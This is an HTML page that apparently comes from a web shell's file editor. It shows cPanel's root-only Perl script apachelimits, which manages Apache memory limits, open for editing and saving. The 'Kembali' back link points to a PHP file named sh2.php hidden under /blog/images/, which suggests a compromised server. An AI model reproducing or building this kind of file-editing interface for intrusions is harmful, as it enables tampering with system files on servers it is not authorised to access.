<h2>Edit File - apachelimits</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/apachelimits">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/apachelimits                    Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::apachelimits;

use strict;
use warnings;

use Cpanel::Usage                        ();
use Cpanel::HttpUtils::Rlimits           ();
use Cpanel::HttpUtils::ApRestart::BgSafe ();
use Cpanel::Server::Type::License        ();

exit unless Cpanel::Server::Type::License::is_ea4_allowed();
exit __PACKAGE__-&gt;runner(@ARGV) if not caller();

sub runner {
    my ( $class, @argv ) = @_;

    #this is under the artistic lics
    print &quot;Apache Limiter by cPanel, Inc. &lt;copyright\@cpanel.net&gt;\n\n&quot;;

    my $opts;
    my %OPTS = (
        &#039;current&#039;   =&gt; \$opts-&gt;{&#039;current&#039;},
        &#039;rlimitmem&#039; =&gt; \$opts-&gt;{&#039;rlimitmem&#039;},
        &#039;disable&#039;   =&gt; \$opts-&gt;{&#039;disable&#039;},
        &#039;restart&#039;   =&gt; \$opts-&gt;{&#039;restart&#039;},
    );
    Cpanel::Usage::wrap_options( \@argv, \&amp;show_help, \%OPTS );

    if ( $&gt; != 0 ) {
        print &quot;[!] Sorry, only root can use this utility to modify Apache RLimits on the server.\n&quot;;
        return 1;
    }
    if ( $opts-&gt;{&#039;current&#039;} ) {
        return _current_rlimits();
    }
    elsif ( $opts-&gt;{&#039;disable&#039;} ) {
        return _disable_rlimits( $opts-&gt;{&#039;restart&#039;} );
    }
    else {
        return _set_rlimits( $opts-&gt;{&#039;rlimitmem&#039;}, $opts-&gt;{&#039;restart&#039;} );
    }
}

sub _current_rlimits {
    my $current    = Cpanel::HttpUtils::Rlimits::get_current_rlimitmem() || 0;
    my $current_MB = int( $current / ( 1024 * 1024 ) );
    print &quot;[*] Current RLimitMEM: $current ( $current_MB MB )\n&quot;;
    return;
}

sub _disable_rlimits {
    my $restart_apache = shift;

    my $status;
    print &quot;[*] Removing rlimits ... \n&quot;;
    eval { $status = Cpanel::HttpUtils::Rlimits::unset_rlimits_in_apache(); };

    if ( !$status ) {
        if ($@) {
            print &quot;[!] Failed to remove rlimits: $@\n&quot;;
        }
        else {
            print &quot;[!] Failed to remove rlimits: Unknown error.\n&quot;;
        }
    }
    else {
        print &quot;[+] Removed rlimits successfully.\n&quot;;
    }

    return _restart_apache() if $restart_apache;
    return;
}

sub _set_rlimits {
    my ( $size, $restart_apache ) = @_;
    $size = _parse_rlimit($size);
    if ( !$size ) {
        print &quot;[*] No valid rlimit specified. Calculating Limit to use...\n&quot;;
        ($size) = Cpanel::HttpUtils::Rlimits::determine_rlimitmem_for_apache();
        if ( !$size ) {
            print &quot;[!] Unable to determine appropriate memory limit.\n&quot;;
            return 1;
        }
    }
    my $size_MB = int( $size / ( 1024 * 1024 ) );
    _current_rlimits();
    print &quot;[*] Setting rlimit to: $size bytes( $size_MB MB ).\n&quot;;

    my $status;
    eval { $status = Cpanel::HttpUtils::Rlimits::set_rlimits_in_apache($size); };

    if ( !$status ) {
        if ($@) {
            print &quot;[!] Failed to set new Rlimit: $@\n&quot;;
        }
        else {
            print &quot;[!] Failed to set new Rlimit: Unknown error.\n&quot;;
        }
    }
    else {
        print &quot;[+] Largest webserver child cgi/ssi/php is now limited to $size_MB MB.\n&quot;;
    }

    return _restart_apache() if $restart_apache;
    return;
}

sub _restart_apache {
    Cpanel::HttpUtils::ApRestart::BgSafe::restart();
    print &quot;[+] Apache restarting the background.\n&quot;;
    return;
}

sub _parse_rlimit {
    my $input = shift or return;
    if ( $input =~ m/([0-9]+)([M])?$/i ) {
        my $number = $1;
        my $type   = $2;

        if ( $type eq &quot;M&quot; or $type eq &quot;m&quot; ) {
            $number *= 1024 * 1024;
        }
        return $number;
    }
    return;
}

sub show_help {
    print &lt;&lt;&quot;EOM&quot;;
$0: Command line tool to manage Apache RLimits.

Usage:
    $0

    --current   : Display the current RlimitMEM value.
    --rlimitmem : The new RlimitMEM value to use. You can specify this in MB (eg: 64M), or bytes (eg: 67108864).
    --disable   : Remove the RlimitMEM and RlimitCPU limits.
    --restart   : Restart Apache after the changes have been made (Default: off)

    Note: If none of these options are specified, then the script will determine a value for RlimitMEM based on the amount of ram and swap available on the server, and update the limit to this value.

EOM
    exit 1;
}
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>